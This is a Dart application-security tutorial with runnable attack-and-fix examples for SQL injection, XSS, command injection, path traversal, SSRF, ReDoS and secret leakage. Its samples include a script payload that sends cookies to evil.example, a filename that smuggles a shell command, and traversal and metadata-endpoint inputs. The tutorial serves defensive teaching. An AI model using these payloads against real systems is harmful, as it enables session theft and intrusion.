Application security

suggest change

Most security bugs in Dart servers and command-line tools aren't about clever cryptography. They come from a handful of everyday mistakes: building SQL or shell commands from user input, putting untrusted text into HTML, trusting file names, letting the server fetch any URL a user sends, and leaking secrets in logs and error messages.

This article shows each mistake with a runnable example of the attack and the fix. Topics with their own articles are only linked:

Packages used:

dart pub add sqlite3 shelf shelf_router http path

The examples were run with Dart 3.13, sqlite3 3.7.1, shelf 1.4.3, shelf_router 1.1.5, http 1.6.0 and path 1.9.1.

SQL injection

SQL injection happens when user input becomes part of the SQL text. The database can't tell your SQL from the attacker's:

import 'package:sqlite3/sqlite3.dart';

void main() {
  final db = sqlite3.openInMemory();
  db.execute('''
    CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, email TEXT, is_admin INTEGER);
    INSERT INTO users (name, email, is_admin) VALUES
      ('alice', 'alice@example.com', 1),
      ('bob', 'bob@example.com', 0);
  ''');

  const input = "nobody' OR '1'='1";

  // BAD: the input becomes part of the SQL text.
  final bad = db.select("SELECT name, email FROM users WHERE name = '$input'");
  print('interpolated: ${bad.length} rows -> ${bad.map((r) => r['name']).toList()}');

  // GOOD: the input is sent separately as a parameter.
  final good = db.select('SELECT name, email FROM users WHERE name = ?', [input]);
  print('parameter:    ${good.length} rows');

  final ok = db.select('SELECT name, email FROM users WHERE name = ?', ['bob']);
  print('parameter:    ${ok.single}');
  db.close();
}

Output:

interpolated: 2 rows -> [alice, bob]
parameter:    0 rows
parameter:    {name: bob, email: bob@example.com}

With string interpolation the query becomes WHERE name = 'nobody' OR '1'='1', which matches every row. With a ? placeholder the value is sent to the database separately from the SQL and is always treated as data, whatever characters it contains.

Every Dart database driver supports parameters. Only the placeholder syntax differs:

Package Placeholder Example
sqlite3 ?, ?1, :name db.select('... WHERE id = ?', [id])
postgres $1 or @name with Sql.named conn.execute(Sql.named('... WHERE id = @id'), parameters: {'id': id})
mysql_client :name conn.execute('... WHERE id = :id', {'id': id})

See SQLite, MySQL and Relational databases for more.

Things that can't be parameters

Parameters only stand for values. Table names, column names, ASC/DESC and other SQL keywords can't be parameters, so a "sort by" option is a common place where interpolation sneaks back in. Map the user's choice to SQL you wrote yourself, and reject anything else. LIKE patterns need care too: the value is safe from injection, but % and _ in it are wildcards:

import 'package:sqlite3/sqlite3.dart';

// Column names can't be parameters, so map user input to known SQL.
const sortColumns = {'name': 'name', 'newest': 'id DESC'};

List<String> searchUsers(Database db, String query, String sort) {
  final orderBy = sortColumns[sort];
  if (orderBy == null) throw ArgumentError.value(sort, 'sort', 'unknown');
  // Escape LIKE wildcards so "%" in the input matches a literal "%".
  final pattern = query.replaceAllMapped(RegExp('[!%_]'), (m) => '!${m[0]}');
  final rows = db.select(
    "SELECT name FROM users WHERE name LIKE ? ESCAPE '!' ORDER BY $orderBy",
    ['%$pattern%'],
  );
  return [for (final r in rows) r['name'] as String];
}

void main() {
  final db = sqlite3.openInMemory();
  db.execute('''
    CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT);
    INSERT INTO users (name) VALUES ('alice'), ('bob'), ('carol'), ('100%_real');
  ''');
  print(searchUsers(db, 'o', 'name'));
  print(searchUsers(db, 'o', 'newest'));
  print(searchUsers(db, '%', 'name'));
  try {
    searchUsers(db, 'a', 'name; DROP TABLE users');
  } on ArgumentError catch (e) {
    print(e);
  }
  db.close();
}

Output:

[bob, carol]
[carol, bob]
[100%_real]
Invalid argument (sort): unknown: "name; DROP TABLE users"

The ORDER BY text is interpolated, but it can only ever be one of the two strings in sortColumns. Searching for % finds only names that contain a literal %, instead of every row.

Cross-site scripting (XSS)

If a server puts user input into an HTML page without escaping it, the input can contain a <script> tag that runs in other users' browsers, with their cookies and their session. dart:convert has HtmlEscape for this:

import 'dart:convert';

const _text = HtmlEscape(HtmlEscapeMode.element);
const _attr = HtmlEscape(HtmlEscapeMode.attribute);

String commentHtml(String author, String text, String website) {
  // Only allow http(s) links; "javascript:alert(1)" is a valid URL too.
  final uri = Uri.tryParse(website);
  final safeUrl = (uri != null && (uri.isScheme('http') || uri.isScheme('https')))
      ? uri.toString()
      : '#';
  return '<div class="comment">'
      '<a href="${_attr.convert(safeUrl)}">${_text.convert(author)}</a>: '
      '${_text.convert(text)}'
      '</div>';
}

void main() {
  const evil = '<script>fetch("https://evil.example/?c="+document.cookie)</script>';
  print('BAD:  <p>$evil</p>');
  print('GOOD: <p>${const HtmlEscape().convert(evil)}</p>');
  print(commentHtml('Bob "the builder"', 'I <3 Dart & HTML', 'https://example.com/?a=1&b=2'));
  print(commentHtml('Mallory', 'click me', 'javascript:alert(1)'));
  print(commentHtml('Eve', 'hi', '" onmouseover="alert(1)'));
}

Output:

BAD:  <p><script>fetch("https://evil.example/?c="+document.cookie)</script></p>
GOOD: <p>&lt;script&gt;fetch(&quot;https:&#47;&#47;evil.example&#47;?c=&quot;+document.cookie)&lt;&#47;script&gt;</p>
<div class="comment"><a href="https://example.com/?a=1&amp;b=2">Bob "the builder"</a>: I &lt;3 Dart &amp; HTML</div>
<div class="comment"><a href="#">Mallory</a>: click me</div>
<div class="comment"><a href="#">Eve</a>: hi</div>

HtmlEscape has modes for different places in a document:

Mode Escapes Use for
HtmlEscapeMode.unknown (default const HtmlEscape()) & < > " ' / anywhere, when unsure
HtmlEscapeMode.element & < > text between tags
HtmlEscapeMode.attribute & < > " attribute values in double quotes
HtmlEscapeMode.sqAttribute & < > ' attribute values in single quotes

Escaping is not enough for URLs. javascript:alert(1) contains no special HTML characters, yet runs code when the link is clicked, so check the scheme with Uri.isScheme before putting a user-supplied URL into href or src. Never put user input inside a <script> block, a style attribute or an event handler like onclick; HTML escaping doesn't protect those contexts.

Rules that keep XSS away:

Command injection

Process.run and Process.start take the program and its arguments as a list. Without a shell, each list element reaches the program as one argument, no matter what characters it contains. Problems start when you hand a string to a shell:

import 'dart:io';

Future<void> main() async {
  const filename = 'notes.txt; echo HACKED > pwned.txt';

  // BAD: the whole string is parsed by a shell, so ";" starts a new command.
  var r = await Process.run('sh', ['-c', 'wc -c $filename']);
  print('shell: exit ${r.exitCode}, pwned.txt exists: ${File('pwned.txt').existsSync()}');
  File('pwned.txt').deleteSync();

  // GOOD: no shell; the program gets the string as one argument.
  r = await Process.run('wc', ['-c', filename]);
  print('args:  exit ${r.exitCode}, stderr: ${(r.stderr as String).trim()}');
  print('       pwned.txt exists: ${File('pwned.txt').existsSync()}');

  // Option injection: a "filename" that starts with "-" is read as a flag.
  // Put "--" before user-supplied arguments to end option parsing.
  r = await Process.run('wc', ['-c', '--', '--version']);
  print('with --: ${(r.stderr as String).trim()}');
}

Output:

shell: exit 0, pwned.txt exists: true
args:  exit 1, stderr: wc: 'notes.txt; echo HACKED > pwned.txt': No such file or directory
       pwned.txt exists: false
with --: wc: --version: No such file or directory

The shell saw two commands: wc -c notes.txt and echo HACKED > pwned.txt. Without the shell, wc just got a strange file name.

See Running OS commands for more on Process.

Path traversal

When a file name comes from a request (a download link, an upload, a ZIP entry), ../ can walk out of the directory you meant to serve. p.join doesn't protect you: joining an absolute path just returns that path. Resolve the final path and check that it's still inside the base directory with package:path:

import 'dart:io';

import 'package:path/path.dart' as p;

/// Returns the file for [name] inside [baseDir], or null if [name]
/// would escape it.
File? safeFile(String baseDir, String name) {
  final base = p.canonicalize(baseDir);
  final full = p.canonicalize(p.join(base, name));
  if (!p.isWithin(base, full)) return null;
  return File(full);
}

void main() {
  final base = Directory.systemTemp.createTempSync('uploads').path;
  File(p.join(base, 'report.pdf')).writeAsStringSync('ok');
  Directory(p.join(base, 'img')).createSync();

  for (final name in [
    'report.pdf',
    'img/logo.png',
    '../../etc/passwd',
    'img/../../secret.txt',
    '/etc/passwd',
    r'..\..\Windows\win.ini',
    '',
  ]) {
    final f = safeFile(base, name);
    print('${name.padRight(24)} -> ${f == null ? 'REJECTED' : p.relative(f.path, from: base)}');
  }
  Directory(base).deleteSync(recursive: true);
}

Output (on Windows, so the separator is \):

report.pdf               -> report.pdf
img/logo.png             -> img\logo.png
../../etc/passwd         -> REJECTED
img/../../secret.txt     -> REJECTED
/etc/passwd              -> REJECTED
..\..\Windows\win.ini    -> REJECTED
                         -> REJECTED

Authorization on every request

Authentication tells you who the user is. Authorization decides what they may do, and it has to be checked for every object a request touches. A classic bug is loading a record by the id from the URL without checking who owns it (an IDOR, "insecure direct object reference"). Its cousin is copying every field from the request body into the record ("mass assignment"):

import 'dart:convert';

class Note {
  final int id;
  final int ownerId;
  String title;
  bool pinned;
  Note(this.id, this.ownerId, this.title, {this.pinned = false});
  @override
  String toString() => 'Note($id, owner=$ownerId, "$title", pinned=$pinned)';
}

class NotFound implements Exception {}

final notes = {1: Note(1, 100, 'alice todo'), 2: Note(2, 200, 'bob diary')};

/// Handles PATCH /notes/<id> for the logged-in [userId].
Note updateNote(int userId, int noteId, String body) {
  final note = notes[noteId];
  // 404 for both "no such note" and "not yours", so ids of other users leak nothing.
  if (note == null || note.ownerId != userId) throw NotFound();

  final json = jsonDecode(body) as Map<String, Object?>;
  // Copy only fields the client may change. "ownerId" and "id" are ignored.
  if (json['title'] case String t) note.title = t;
  if (json['pinned'] case bool p) note.pinned = p;
  return note;
}

void main() {
  print(updateNote(100, 1, '{"title": "groceries", "ownerId": 200, "id": 9}'));
  try {
    updateNote(100, 2, '{"title": "hacked"}'); // alice edits bob's note
  } on NotFound {
    print('404 for note 2; still ${notes[2]}');
  }
}

Output:

Note(1, owner=100, "groceries", pinned=false)
404 for note 2; still Note(2, owner=200, "bob diary", pinned=false)

The Authentication article shows a requireRole() middleware for role checks.

Server-side request forgery (SSRF)

Features like "import from URL", webhooks and link previews make the server fetch a URL that a user chose. Without checks, a user can make your server call services that are only reachable from inside your network: http://localhost:9200, an admin panel on 10.0.0.5, or the cloud metadata endpoint 169.254.169.254, which hands out credentials. Check the scheme and every address the host name resolves to:

import 'dart:io';

bool isPublic(InternetAddress a) {
  if (a.isLoopback || a.isLinkLocal || a.isMulticast) return false;
  final b = a.rawAddress;
  if (a.type == InternetAddressType.IPv4) {
    return !(b[0] == 0 ||
        b[0] == 10 || // 10.0.0.0/8
        (b[0] == 100 && b[1] >= 64 && b[1] < 128) || // 100.64.0.0/10 (CGNAT)
        (b[0] == 172 && b[1] >= 16 && b[1] < 32) || // 172.16.0.0/12
        (b[0] == 192 && b[1] == 168)); // 192.168.0.0/16
  }
  // IPv6: unspecified (::), unique local fc00::/7, IPv4-mapped ::ffff:0:0/96
  if (b.every((x) => x == 0)) return false;
  if ((b[0] & 0xfe) == 0xfc) return false;
  if (b.sublist(0, 10).every((x) => x == 0) && b[10] == 0xff && b[11] == 0xff) {
    return isPublic(InternetAddress.fromRawAddress(b.sublist(12)));
  }
  return true;
}

/// Checks a user-supplied URL before the server fetches it.
Future<String?> checkOutboundUrl(String input) async {
  final uri = Uri.tryParse(input);
  if (uri == null || !(uri.isScheme('http') || uri.isScheme('https'))) {
    return 'only http and https URLs are allowed';
  }
  if (uri.host.isEmpty) return 'missing host';
  final List<InternetAddress> addresses;
  try {
    addresses = await InternetAddress.lookup(uri.host);
  } on SocketException {
    return 'host not found';
  }
  for (final a in addresses) {
    if (!isPublic(a)) return 'address ${a.address} is not public';
  }
  return null; // OK
}

Future<void> main() async {
  for (final url in [
    'https://example.com/image.png',
    'http://localhost:9200/_cat/indices',
    'http://169.254.169.254/latest/meta-data/',
    'http://10.0.0.5/admin',
    'http://[::ffff:127.0.0.1]/',
    'file:///etc/passwd',
    'gopher://example.com/',
  ]) {
    print('${url.padRight(42)} ${await checkOutboundUrl(url) ?? 'allowed'}');
  }
}

Output:

https://example.com/image.png              allowed
http://localhost:9200/_cat/indices         address ::1 is not public
http://169.254.169.254/latest/meta-data/   address 169.254.169.254 is not public
http://10.0.0.5/admin                      address 10.0.0.5 is not public
http://[::ffff:127.0.0.1]/                 address ::ffff:127.0.0.1 is not public
file:///etc/passwd                         only http and https URLs are allowed
gopher://example.com/                      only http and https URLs are allowed

InternetAddress has isLoopback, isLinkLocal and isMulticast, but nothing for private ranges, so isPublic checks those bytes itself. Two more holes to close when you then make the request:

Also put a timeout and a size limit on the response; see Cancellation and timeouts.

Hardening a Shelf server

A few pieces of middleware close several holes for every route at once:

import 'dart:convert';
import 'dart:io';
import 'dart:typed_data';

import 'package:http/http.dart' as http;
import 'package:shelf/shelf.dart';
import 'package:shelf/shelf_io.dart' as io;
import 'package:shelf_router/shelf_router.dart';

/// Adds security headers to every response.
Middleware securityHeaders() => (inner) => (request) async {
      final response = await inner(request);
      return response.change(headers: {
        'X-Content-Type-Options': 'nosniff',
        'X-Frame-Options': 'DENY',
        'Referrer-Policy': 'no-referrer',
        'Content-Security-Policy': "default-src 'self'; frame-ancestors 'none'",
        // Only send HSTS when the site is served over HTTPS.
        'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
      });
    };

/// Turns unexpected exceptions into a generic 500. Details go to the log only.
Middleware hideErrors() => (inner) => (request) async {
      try {
        return await inner(request);
      } on HijackException {
        rethrow;
      } catch (e) {
        final id = DateTime.now().microsecondsSinceEpoch.toRadixString(36);
        // Log the details on the server (in production, the stack trace too).
        stderr.writeln('[$id] ${request.method} ${request.requestedUri.path}: $e');
        return Response.internalServerError(
          body: jsonEncode({'error': 'internal error', 'id': id}),
          headers: {'content-type': 'application/json'},
        );
      }
    };

class PayloadTooLarge implements Exception {}

/// Reads the body as a string, refusing more than [maxBytes].
Future<String> readBodyLimited(Request request, {int maxBytes = 16 * 1024}) async {
  final declared = request.contentLength;
  if (declared != null && declared > maxBytes) throw PayloadTooLarge();
  final bytes = BytesBuilder(copy: false);
  await for (final chunk in request.read()) {
    bytes.add(chunk);
    if (bytes.length > maxBytes) throw PayloadTooLarge();
  }
  return utf8.decode(bytes.takeBytes());
}

Future<void> main() async {
  final router = Router()
    ..post('/notes', (Request request) async {
      final String body;
      try {
        body = await readBodyLimited(request, maxBytes: 1024);
      } on PayloadTooLarge {
        return Response(HttpStatus.requestEntityTooLarge, body: 'too large');
      }
      final Object? json;
      try {
        json = jsonDecode(body);
      } on FormatException {
        return Response.badRequest(body: 'invalid JSON');
      }
      if (json case {'title': String title} when title.isNotEmpty && title.length <= 100) {
        return Response.ok(jsonEncode({'saved': title}),
            headers: {'content-type': 'application/json'});
      }
      return Response.badRequest(body: 'title: 1-100 characters required');
    })
    ..get('/crash', (Request request) {
      throw StateError('connection to db.internal:5432 refused'); // must not reach the client
    });

  final handler = const Pipeline()
      .addMiddleware(securityHeaders())
      .addMiddleware(hideErrors())
      .addHandler(router.call);
  final server = await io.serve(handler, InternetAddress.loopbackIPv4, 0);
  final base = 'http://localhost:${server.port}';

  var r = await http.post(Uri.parse('$base/notes'), body: '{"title": "hello"}');
  print('${r.statusCode} ${r.body}');
  print('  x-content-type-options: ${r.headers['x-content-type-options']}');
  print('  content-security-policy: ${r.headers['content-security-policy']}');

  r = await http.post(Uri.parse('$base/notes'), body: '{"title": 42}');
  print('${r.statusCode} ${r.body}');

  r = await http.post(Uri.parse('$base/notes'), body: 'x' * 5000);
  print('${r.statusCode} ${r.body}');

  r = await http.get(Uri.parse('$base/crash'));
  print('${r.statusCode} ${r.body}');

  r = await http.post(Uri.parse('$base/notes'), body: 'not json');
  print('${r.statusCode} ${r.body}');

  await server.close();
}

Output (the line starting with [ is the server log on stderr):

200 {"saved":"hello"}
  x-content-type-options: nosniff
  content-security-policy: default-src 'self'; frame-ancestors 'none'
400 title: 1-100 characters required
413 too large
[hnb077q3or] GET /crash: Bad state: connection to db.internal:5432 refused
500 {"error":"internal error","id":"hnb077q3or"}
400 invalid JSON

What the headers do:

Header Effect
X-Content-Type-Options: nosniff the browser trusts Content-Type and won't run an uploaded "image" as a script
X-Frame-Options: DENY and CSP frame-ancestors 'none' the page can't be embedded in an <iframe> on another site (clickjacking)
Referrer-Policy: no-referrer URLs, which may contain tokens, don't leak to other sites
Content-Security-Policy which scripts, styles and images the page may load; stops most injected scripts
Strict-Transport-Security the browser uses only HTTPS for this site from now on; send it only over HTTPS

And the other parts:

Regular expressions and denial of service

Dart's RegExp uses a backtracking engine. Some patterns, typically nested quantifiers like (a+)+ or alternations that overlap like (a|a)*, take exponential time on inputs that almost match. If such a pattern runs on user input, one short request can keep an isolate busy for minutes (ReDoS):

void main() {
  final evil = RegExp(r'^(a+)+$'); // nested quantifiers
  final safe = RegExp(r'^a+$');
  for (final n in [20, 22, 24, 26]) {
    final input = '${'a' * n}!';
    final sw = Stopwatch()..start();
    evil.hasMatch(input);
    final tEvil = sw.elapsedMilliseconds;
    sw.reset();
    safe.hasMatch(input);
    print('n=$n  nested: ${tEvil.toString().padLeft(5)} ms   simple: ${sw.elapsedMilliseconds} ms');
  }
}

Output:

n=20  nested:   101 ms   simple: 0 ms
n=22  nested:   404 ms   simple: 0 ms
n=24  nested:  2008 ms   simple: 0 ms
n=26  nested:  6674 ms   simple: 0 ms

Every 2 extra characters make the nested pattern 4 times slower. Both patterns match the same strings. To stay safe:

A Dart server handles all requests of an isolate on one thread, so any slow synchronous work (a bad regex, a huge jsonDecode, password hashing) blocks every other request on that isolate. Move heavy work to another isolate with Isolate.run; see Isolates.

Keeping secrets out of code and logs

Secrets (database passwords, API keys, signing keys) belong in environment variables or a secret manager, not in source code, pubspec.yaml or a committed .env file. Once they're loaded, the main danger is printing them by accident: in a log line, an exception message or a toString(). Wrap them in a type whose toString hides the value:

import 'dart:io';

/// Holds a secret value; printing or logging it shows a placeholder.
final class Secret {
  final String _value;
  const Secret(this._value);

  factory Secret.fromEnv(String name) {
    final v = Platform.environment[name];
    if (v == null || v.isEmpty) {
      throw StateError('environment variable $name is not set');
    }
    return Secret(v);
  }
  String reveal() => _value;

  @override
  String toString() => '***';
}

class Config {
  final Uri databaseUrl;
  final Secret apiKey;
  Config(this.databaseUrl, this.apiKey);

  @override
  String toString() =>
      'Config(databaseUrl: ${redactUri(databaseUrl)}, apiKey: $apiKey)';
}

/// Removes the password from URLs like postgres://user:pass@host/db.
Uri redactUri(Uri uri) => uri.userInfo.contains(':')
    ? uri.replace(userInfo: '${uri.userInfo.split(':').first}:***')
    : uri;

void main() {
  final config = Config(
    Uri.parse(Platform.environment['DATABASE_URL']!),
    Secret.fromEnv('API_KEY'),
  );
  print(config); // safe to log
  print('Authorization: Bearer ${config.apiKey}'); // oops, but harmless
  print('key length: ${config.apiKey.reveal().length}');
  try {
    Secret.fromEnv('MISSING_SECRET');
  } on StateError catch (e) {
    print(e.message);
  }
}

Run with:

DATABASE_URL='postgres://app:s3cr3t@db.internal:5432/shop' API_KEY='sk_live_abc123' dart run bin/secrets.dart

Output:

Config(databaseUrl: postgres://app:***@db.internal:5432/shop, apiKey: ***)
Authorization: Bearer ***
key length: 14
environment variable MISSING_SECRET is not set

More in Environment variables and Logging.

Dependencies

Your app is only as safe as the packages it uses:

Summary

Threat Defense
SQL injection ? / @name parameters; allowlist for column names and sort order
XSS HtmlEscape in the right mode; check URL schemes; CSP header; textContent not innerHTML
Command injection Process.run(exe, [args]) without a shell; -- before user arguments
Path traversal p.canonicalize + p.isWithin; random names for uploads
Broken authorization check ownership on every request; user id from the session; copy allowed fields only
SSRF allow only http(s); reject private, loopback and link-local addresses; check redirects
Leaking internals generic 500 responses; details only in the server log
Huge requests body size limits, timeouts, rate limits
ReDoS no nested quantifiers on untrusted input; limit input length
Leaked secrets environment variables; a Secret type with a safe toString; redact URLs
Vulnerable packages dart pub outdated, committed pubspec.lock, regular upgrades

For passwords, tokens and sessions continue with Authentication and JWT; for encryption and signatures, with Cryptography.

Feedback about page:

Feedback:
Optional: your email if you want me to get back to you:



Table Of Contents